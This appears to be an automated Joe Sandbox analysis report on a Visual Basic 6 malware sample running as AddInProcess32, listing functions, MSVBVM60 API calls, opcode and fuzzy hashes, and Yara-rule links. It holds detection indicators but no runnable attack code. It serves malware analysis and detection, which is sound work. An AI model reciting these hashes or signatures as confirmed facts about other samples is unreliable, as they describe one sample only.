__vbaAryDestruct.MSVBVM60(00000000,?,0042143F,6D164F32,00000000,00000FEE,?,?,?,?,?,?,?,?,?,7FFFFFFF), ref: 00421438
__vbaErrorOverflow.MSVBVM60(00000000,6D164F32,00000000,00000FEE,?,?,?,?,?,?,?,?,?,7FFFFFFF,Function_000032B6), ref: 00421450

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$LockUnlock$DestructOverflowOwner3RedimSystem
String ID:
API String ID: 3281955820-0
Opcode ID: 47b01bcdffa297faf139a01935df7f97165424e177e24eb6e474878f494e6cb8
Instruction ID: d3bc4d229a8ccd66a9bed061019a776db086e1d909af8dc46df260a90b41282b
Opcode Fuzzy Hash: 47b01bcdffa297faf139a01935df7f97165424e177e24eb6e474878f494e6cb8
Instruction Fuzzy Hash: 5E418170E00219DFDB14EF94DD81AAEF7B9EF58700F50811AE501B7660D6B4A8428BE9

Function 0042A2F9 Relevance: 19.6, APIs: 13, Instructions: 104COMMON

Download Yara Rule

APIs

__vbaRedim.MSVBVM60(00000080,00000004), ref: 0042A30A
__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,000000E0,?,?), ref: 0042A334
__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,00000188,?,?,?,?), ref: 0042A35B
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000,?,?,?,?), ref: 0042A36D
__vbaAryLock.MSVBVM60(?), ref: 0042A37D
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?), ref: 0042A39C
__vbaGenerateBoundsError.MSVBVM60 ref: 0042A3B1
__vbaGenerateBoundsError.MSVBVM60 ref: 0042A3C7
__vbaI4Var.MSVBVM60(?,00000000,?,?,?,00000000), ref: 0042A3E6
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 0042A3F6
__vbaAryUnlock.MSVBVM60(?), ref: 0042A400
__vbaFreeObj.MSVBVM60 ref: 0042A409
__vbaFreeVar.MSVBVM60 ref: 0042A412

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$CheckFreeHresult$CallLateLockRedimSystemUnlock
String ID:
API String ID: 204333147-0
Opcode ID: eed45411d0b160e1ff50d70acd90705767be5c6f0f77f9bda94638718aae2953
Instruction ID: 897c9a6cfbc361b2304c829fc1f6f3fe0cbd2f804f2c9409275e98d7ea74f451
Opcode Fuzzy Hash: eed45411d0b160e1ff50d70acd90705767be5c6f0f77f9bda94638718aae2953
Instruction Fuzzy Hash: E031A234600215EBDB04DBA0DD89EAEB779FF44704F208529F902BB2A1D774AC46CB69

Function 0041A090 Relevance: 18.1, APIs: 12, Instructions: 131COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0041A0AE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041A0DE
__vbaSetSystemError.MSVBVM60(001F03FF,00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041A118
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041A141
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041A157
__vbaSetSystemError.MSVBVM60(00000004,00000000,?,?,?,00000000,Function_000032B6), ref: 0041A175
__vbaSetSystemError.MSVBVM60(?,0042C27C,?,?,?,00000000,Function_000032B6), ref: 0041A1B2
__vbaSetSystemError.MSVBVM60(001F03FF,00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041A207
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041A230
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041A246
__vbaSetSystemError.MSVBVM60(?,0042C27C,?,?,?,00000000,Function_000032B6), ref: 0041A26C
__vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0041A28F

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$System$Chkstk
String ID:
API String ID: 1207130036-0
Opcode ID: e179d2bbb2490744295fa45cb8a75386843ea1c857eacf9360e485d96fec70f9
Instruction ID: 8b7a934a7eebc36cfe3af54c4ed22efe6341180558cb6e4886e9f12f2822d10f
Opcode Fuzzy Hash: e179d2bbb2490744295fa45cb8a75386843ea1c857eacf9360e485d96fec70f9
Instruction Fuzzy Hash: 7B51FA74901208EBDB10DFE4DA48BDEBBB5FF48308F208569E501B7390D7799A44DBA9

Function 0041E730 Relevance: 18.1, APIs: 12, Instructions: 85COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6,?,?,?,0040F418,0042C0BC,?), ref: 0041E74E
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,Function_000032B6), ref: 0041E77E
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 0041E795
__vbaSetSystemError.MSVBVM60(00000000,?,?,?,?,?,Function_000032B6), ref: 0041E7A1
__vbaStrToUnicode.MSVBVM60(0042C0BC,?,?,?,?,?,?,Function_000032B6), ref: 0041E7AF
__vbaFreeStr.MSVBVM60(?,?,?,?,?,Function_000032B6), ref: 0041E7B8
__vbaStrToAnsi.MSVBVM60(?,00000000,00000000,00000000,?,?,?,?,?,Function_000032B6), ref: 0041E7D3
__vbaStrToAnsi.MSVBVM60(?,00000000,00000000,?,?,?,?,?,Function_000032B6), ref: 0041E7E4
__vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,?,?,Function_000032B6), ref: 0041E7F5
__vbaStrToUnicode.MSVBVM60(0042C0BC,?,?,?,?,?,?,Function_000032B6), ref: 0041E803
__vbaStrToUnicode.MSVBVM60(00000000,?,?,?,?,?,?,Function_000032B6), ref: 0041E811
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,?,?,Function_000032B6), ref: 0041E827

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$AnsiErrorUnicode$FreeSystem$ChkstkList
String ID:
API String ID: 3861917509-0
Opcode ID: 85e4f07598a0960e0cabd3e4e7a1ed0f25af75eec3b758aa50ec09c6dfd0cf73
Instruction ID: a92ad539ecbf6efebda2d3259df1282ada01a5d6d20107e5edffdf3838fad138
Opcode Fuzzy Hash: 85e4f07598a0960e0cabd3e4e7a1ed0f25af75eec3b758aa50ec09c6dfd0cf73
Instruction Fuzzy Hash: 61310CB5900208EFCB00DFE4DA88FDEBBB8EB48314F108259F501B7290C7789A44CBA4

Function 00415830 Relevance: 18.1, APIs: 12, Instructions: 67COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(0040CEB3,004032B6,0040CEB3,?,?,?,00000000,004032B6), ref: 0041584E
__vbaOnError.MSVBVM60(000000FF,?,?,?,0040CEB3,004032B6,0040CEB3), ref: 0041587E
#648.MSVBVM60(0000000A), ref: 0041589D
__vbaFreeVar.MSVBVM60 ref: 004158AA
__vbaFileOpen.MSVBVM60(00000120,000000FF,?), ref: 004158C9
#570.MSVBVM60(?), ref: 004158DB
#525.MSVBVM60(00000000), ref: 004158E2
__vbaStrMove.MSVBVM60 ref: 004158ED
__vbaGet3.MSVBVM60(00000000,?,?), ref: 00415905
__vbaFileClose.MSVBVM60(?), ref: 00415917
__vbaStrCopy.MSVBVM60 ref: 0041592A
__vbaFreeStr.MSVBVM60(0041595E), ref: 00415957

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$FileFree$#525#570#648ChkstkCloseCopyErrorGet3MoveOpen
String ID:
API String ID: 947554498-0
Opcode ID: a4844d169c03657195c66291a7f0840fb89a4f1fe1073a2b47ba6fd526ef2949
Instruction ID: 9d0290c9668b0b97bc5e056eca09828b1551f52cd0b7d0ae963dc3f7ea44dd8b
Opcode Fuzzy Hash: a4844d169c03657195c66291a7f0840fb89a4f1fe1073a2b47ba6fd526ef2949
Instruction Fuzzy Hash: A0314BB5C00248EBDB00DFD4DA48BDEBBB8FF08714F208159E611B72A0DB795A48CB64

Function 00405037 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0040FF4E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0040FF95
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 0040FFC6
__vbaHresultCheckObj.MSVBVM60(00000000,?,004082BC,0000004C), ref: 0040FFF9
__vbaFreeObj.MSVBVM60 ref: 00410038
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410081
__vbaHresultCheckObj.MSVBVM60(00000000,?,004082BC,00000040), ref: 004100B9
__vbaLateIdCall.MSVBVM60(?,60030004,00000000), ref: 004100DC
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 004100EF
__vbaCastObj.MSVBVM60(00000000,004077C4), ref: 00410112
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041011D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000730), ref: 00410150
__vbaFreeObj.MSVBVM60 ref: 0041016B

Strings

[, xrefs: 00405037

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$CheckFreeHresult$CallCastChkstkErrorLateList
String ID: [
API String ID: 269068952-784033777
Opcode ID: 5016deb1a59da2f2e0196918561fb49243e5c565f0178785edbf7654f715f660
Instruction ID: 16c54425a3ce120e5e2135e3149755cc9251ea993a7cd341aaf2995901e8571e
Opcode Fuzzy Hash: 5016deb1a59da2f2e0196918561fb49243e5c565f0178785edbf7654f715f660
Instruction Fuzzy Hash: 61512A75900608EBDB10DFA4D948BDEBBB4FF08704F20825DF515AB291D7799A84CFA8

Function 00419626 Relevance: 16.6, APIs: 11, Instructions: 114COMMON

Download Yara Rule

APIs

__vbaAryLock.MSVBVM60(00000000,?), ref: 00419650
__vbaGenerateBoundsError.MSVBVM60 ref: 00419688
__vbaGenerateBoundsError.MSVBVM60 ref: 004196A2
__vbaStrMove.MSVBVM60(?), ref: 004196C9
__vbaAryUnlock.MSVBVM60(00000000), ref: 004196D3
__vbaStrComp.MSVBVM60(00000001,00000000,?), ref: 004196E5
__vbaFreeStr.MSVBVM60 ref: 004196FA
__vbaGenerateBoundsError.MSVBVM60 ref: 00419745
__vbaGenerateBoundsError.MSVBVM60 ref: 0041975F
__vbaCopyBytes.MSVBVM60(00000010,00000000,?), ref: 0041977E
__vbaErase.MSVBVM60(00000000,?), ref: 004197AC
__vbaErase.MSVBVM60(00000000,?), ref: 004197BF
__vbaAryDestruct.MSVBVM60(00000000,?,00419803), ref: 004197F0
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 004197FC
__vbaErrorOverflow.MSVBVM60 ref: 0041981A

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$DestructErase$BytesCompCopyFreeLockMoveOverflowUnlock
String ID:
API String ID: 2458773320-0
Opcode ID: 385b518716c5d96581d354086ed4219ffaaac5b28a4e957e8dddbad5aed777d6
Instruction ID: b4eaaf3b6912c0b715553f9d0a6d665ec823eac17e865164621a45f09c466846
Opcode Fuzzy Hash: 385b518716c5d96581d354086ed4219ffaaac5b28a4e957e8dddbad5aed777d6
Instruction Fuzzy Hash: E8510874A10109EFDB08DF94DAA8BEDB7B5FF44301F208199E516AB290CB74AD81CF55

Function 004295B0 Relevance: 16.6, APIs: 11, Instructions: 86COMMON

Download Yara Rule

APIs

__vbaStrToAnsi.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,004032B6,00000000), ref: 004295F7
__vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,?,?,?,?,?,?,004032B6,00000000), ref: 00429604
__vbaStrToAnsi.MSVBVM60(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004032B6,00000000), ref: 00429611
__vbaStrToAnsi.MSVBVM60(?,?,00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?), ref: 0042961E
__vbaSetSystemError.MSVBVM60(00000000,?,00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?), ref: 00429629
__vbaStrToUnicode.MSVBVM60(00000000,?,?,00000000,?,00000000,?,00000000), ref: 0042963D
__vbaStrToUnicode.MSVBVM60(004032B6,?,?,00000000,?,00000000,?,00000000), ref: 00429647
__vbaStrToUnicode.MSVBVM60(?,?,?,00000000,?,00000000,?,00000000), ref: 0042964E
__vbaStrToUnicode.MSVBVM60(?,?,?,00000000,?,00000000,?,00000000), ref: 00429655
__vbaI2I4.MSVBVM60(?,00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004032B6), ref: 0042965A
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000000,?,00000000,?,00000000), ref: 00429675

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$AnsiUnicode$ErrorFreeListSystem
String ID:
API String ID: 3859701107-0
Opcode ID: 5c61e922defa331cc4ce072f563674e95d7f8f498ef2ac34effc3ba57cb8711b
Instruction ID: 594d62947b0162dfde37296f4cb3f61c41ad37821fc0585372e9270dc8f55869
Opcode Fuzzy Hash: 5c61e922defa331cc4ce072f563674e95d7f8f498ef2ac34effc3ba57cb8711b
Instruction Fuzzy Hash: D031B6B5D10219AFCB04DFA4CD85DEFBBBCEB8C700F10455AE901A7250D674A9058FB4

Function 0040DAA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6), ref: 0040DABE
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,Function_000032B6), ref: 0040DB05
__vbaStrCat.MSVBVM60( RU,00000000,?,?,?,?,Function_000032B6), ref: 0040DB1E
__vbaStrMove.MSVBVM60(?,?,?,?,Function_000032B6), ref: 0040DB29

Part of subcall function 0042A090: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CA73,80000002,00000000), ref: 0042A0AE
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0DB
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0E7
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0F3
Part of subcall function 0042A090: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042A102
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 0042A11B
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,00000000,004032B6), ref: 0042A12B
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A139
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A142
Part of subcall function 0042A090: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 0042A153
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,00000000,004032B6), ref: 0042A162
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(00000001,?,00000000,00000001,00000000,?,?,?,00000000,004032B6), ref: 0042A175
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 0042A185
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A193
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A1A1
Part of subcall function 0042A090: __vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,00000000,004032B6), ref: 0042A1B1
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(?,?,00000000,004032B6), ref: 0042A1CA
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(0042A207,?,00000000,004032B6), ref: 0042A1EE
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,00000000,004032B6), ref: 0042A1F7

__vbaFreeStr.MSVBVM60(80000002,00000000,00000000,00000000,?,?,?,?,Function_000032B6), ref: 0040DB4A
__vbaStrCat.MSVBVM60( RU,00000000,?,?,?,?,Function_000032B6), ref: 0040DB63
__vbaStrMove.MSVBVM60(?,?,?,?,Function_000032B6), ref: 0040DB6E
__vbaFreeStr.MSVBVM60(80000002,00000000,00000000,00000000,?,?,?,?,Function_000032B6), ref: 0040DB8F

Part of subcall function 00415FD0: __vbaSetSystemError.MSVBVM60(00000000,0040DBA1,?,?,?,?,Function_000032B6), ref: 00415FE5

Part of subcall function 00416100: __vbaSetSystemError.MSVBVM60(00000000,0040DBAD,?,?,?,?,Function_000032B6), ref: 00416115

Strings

RU, xrefs: 0040DB19, 0040DB5E

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$Free$System$AnsiCopyUnicode$ChkstkMove$BstrList
String ID: RU
API String ID: 279242310-1417676127
Opcode ID: 834666a230e91adafad132ac9b958fc5a9d9edbf53aecaab06e1bd8c04ae2b97
Instruction ID: a5e5539ec0bd47771e5bba15ffd7383eda2de6e9d9ac7ceec32cc9b4ad75a0a3
Opcode Fuzzy Hash: 834666a230e91adafad132ac9b958fc5a9d9edbf53aecaab06e1bd8c04ae2b97
Instruction Fuzzy Hash: A7312A71600244EFDB00DF94DE4AF9E7BB8FB48704F60816DF505A72A0CB786A44CBA9

Function 00429070 Relevance: 15.1, APIs: 10, Instructions: 72COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6), ref: 0042908E
__vbaObjSetAddref.MSVBVM60(?,00000000,?,?,?,?,Function_000032B6), ref: 004290D4
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,Function_000032B6), ref: 004290E3
__vbaVarVargNofree.MSVBVM60(?,?,?,?,Function_000032B6), ref: 004290F6
__vbaStrErrVarCopy.MSVBVM60(00000000,?,?,?,?,Function_000032B6), ref: 004290FD
__vbaStrMove.MSVBVM60(?,?,?,?,Function_000032B6), ref: 00429108
__vbaChkstk.MSVBVM60 ref: 00429120
__vbaRaiseEvent.MSVBVM60(?,00000001,00000001), ref: 00429146
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 00429152
__vbaFreeObj.MSVBVM60(0042917A,?,?,?,?,?,?,Function_000032B6), ref: 00429173

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$ChkstkFree$AddrefCopyErrorEventMoveNofreeRaiseVarg
String ID:
API String ID: 3705209087-0
Opcode ID: 81121c5470669a7c16739aa6be5f71145eac563f112db7cdea347d1295e6e5d1
Instruction ID: f347cf2a893cf853362eea099f11493267eac5c9acb7e4d5a4fc20cfa02f8f68
Opcode Fuzzy Hash: 81121c5470669a7c16739aa6be5f71145eac563f112db7cdea347d1295e6e5d1
Instruction Fuzzy Hash: 70310975900209DFDB00DF94C989BDEBBB4FF08314F108269F915A7390C774AA85CB94

Function 0041D5B8 Relevance: 13.5, APIs: 9, Instructions: 45COMMON

Download Yara Rule

APIs

__vbaVarSetObjAddref.MSVBVM60(?,00000000), ref: 0041D5D9
__vbaVarSetObjAddref.MSVBVM60(?,00000000), ref: 0041D5E1
__vbaVarSetObjAddref.MSVBVM60(?,00000000), ref: 0041D5E9
__vbaExitProc.MSVBVM60 ref: 0041D5EB
__vbaFreeVar.MSVBVM60(0041D664), ref: 0041D64B
__vbaFreeVar.MSVBVM60 ref: 0041D650
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041D658
__vbaFreeVar.MSVBVM60 ref: 0041D661
__vbaErrorOverflow.MSVBVM60 ref: 0041D680

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$AddrefFree$DestructErrorExitOverflowProc
String ID:
API String ID: 2473607959-0
Opcode ID: cb108ea1c80cccade74e7f213af0347de610002038ec2a835772024163612513
Instruction ID: 9264f18109a120e7ce87413fc4b53469814454bba0ef014958fd4b23833393e4
Opcode Fuzzy Hash: cb108ea1c80cccade74e7f213af0347de610002038ec2a835772024163612513
Instruction Fuzzy Hash: A7F04F71C50218AFDB04EBA0ED55BED7B34EF48700F508426E506A70B4EF786A85CFA9

Function 00428CC0 Relevance: 12.1, APIs: 8, Instructions: 113COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001,?,00402F88,?,?,?,?,?,00000000,004032B6), ref: 00428CF6
__vbaExitProc.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00428D27
__vbaErrorOverflow.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00428D42
__vbaOnError.MSVBVM60(00000001), ref: 00428D95
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007BC), ref: 00428DBA
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A184,00000094), ref: 00428DE4
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00428DF3
__vbaExitProc.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00428DF9

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$CheckExitHresultProc$FreeOverflow
String ID:
API String ID: 1609803294-0
Opcode ID: 21ddd133c35a2055249bfdced58ced3040ae018b58796bb9847fdddddb7096ca
Instruction ID: 288edfe35e9085eef6f99ea30057e2506a503dbf0f3c7e11b8dd8825ff45c2f6
Opcode Fuzzy Hash: 21ddd133c35a2055249bfdced58ced3040ae018b58796bb9847fdddddb7096ca
Instruction Fuzzy Hash: 35417E75E01218EFC710DF98D948A9DBBB8FF58B10F50416BF805B7290CB7859418BA9

Function 00404FDC Relevance: 12.1, APIs: 8, Instructions: 84COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001), ref: 0040D56C
__vbaNew2.MSVBVM60(00406520,0042CC34), ref: 0040D584
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D5A7
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004082BC,00000040), ref: 0040D5CB
__vbaObjSet.MSVBVM60(?,?), ref: 0040D5E2
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,0000000C), ref: 0040D5F8
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0040D608
__vbaExitProc.MSVBVM60 ref: 0040D611

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$CheckHresult$ErrorExitFreeListNew2Proc
String ID:
API String ID: 306309671-0
Opcode ID: ca2ad210dbadf10d8339a2c6302259c2d85a358f52ad595904c40038edc4eebe
Instruction ID: d803e8ae1a74f1de2285c6eb7d8813a05e13e9447d060414ac64bef4c706b468
Opcode Fuzzy Hash: ca2ad210dbadf10d8339a2c6302259c2d85a358f52ad595904c40038edc4eebe
Instruction Fuzzy Hash: CB318E70900218FFDB10DF95DD89E9EBBB8FF08B04F10456AF545B7290D77899448BA9

Function 004250D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

_adj_fdiv_m64.MSVBVM60(6D16D83C,00000000), ref: 0042510E
__vbaR8IntI4.MSVBVM60(x.@,6D16D83C,00000000), ref: 00425122
_adj_fdiv_m64.MSVBVM60 ref: 00425167
__vbaR8IntI4.MSVBVM60 ref: 00425172

Strings

x.@, xrefs: 00425117

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba_adj_fdiv_m64
String ID: x.@
API String ID: 2746309926-3631786054
Opcode ID: 9ac73b9d7d80b49c2d232aa197a81b06f8acdeec819939354fa6ae610ae96cf9
Instruction ID: e2d31677cc0c5545fa80c966f8e09b0dd77fe682f18f487efa9605fdaabcacac
Opcode Fuzzy Hash: 9ac73b9d7d80b49c2d232aa197a81b06f8acdeec819939354fa6ae610ae96cf9
Instruction Fuzzy Hash: CD216831B046119FD7099F14FA4433BBBA6B7C8341F55867EE485D22A4CB788895C749

Function 004291A0 Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001,?,?,?,?,?,?,?,?,Function_000032B6), ref: 004291EA
__vbaCastObj.MSVBVM60(00000000,0040A2F8,?,?,?,?,?,?,?,?,Function_000032B6), ref: 004291F8
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00429203
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007C4,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00429223
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,Function_000032B6), ref: 0042922C
__vbaRaiseEvent.MSVBVM60(?,00000002,00000000,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00429236
__vbaExitProc.MSVBVM60(?,?,?,?,?,?,?,?,Function_000032B6), ref: 0042923F

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$CastCheckErrorEventExitFreeHresultProcRaise
String ID:
API String ID: 2392155486-0
Opcode ID: 039d90c4dc18c79ec7187133a193b3ab27d0cecebb805d049768fa3ec49b57b7
Instruction ID: 083221939679d71a8f0af14ea155fa08f788ddfb085ab1f4567514e6edbf7ed0
Opcode Fuzzy Hash: 039d90c4dc18c79ec7187133a193b3ab27d0cecebb805d049768fa3ec49b57b7
Instruction Fuzzy Hash: 64119A71940654BBCB00AFA4CE49E9EBBB8FF48B00F10806AF841B22A1C77815408BF9

Function 00428BBE Relevance: 10.5, APIs: 7, Instructions: 29COMMON

Download Yara Rule

APIs

__vbaExitProc.MSVBVM60 ref: 00428BBE
__vbaAryDestruct.MSVBVM60(00000000,?,00428C0D), ref: 00428BE2
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00428BEA
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00428BF2
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00428BFA
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00428C02
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00428C0A

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Destruct$ExitProc
String ID:
API String ID: 1594393734-0
Opcode ID: 952738d25d21216cb59d4962ff70e805ce52a3947e489f7afe1132f397de7233
Instruction ID: 9365795d6c175bddc2ceeb307a93c3593e60e9969e1da01e8ce20a231f89a0e7
Opcode Fuzzy Hash: 952738d25d21216cb59d4962ff70e805ce52a3947e489f7afe1132f397de7233
Instruction Fuzzy Hash: 9BE0ACB29441286AEB4097D0EC41FBD7B3CEB84701F44411AF606AA0989AA42A44CBA1

Function 00415EC0 Relevance: 9.1, APIs: 6, Instructions: 73COMMON

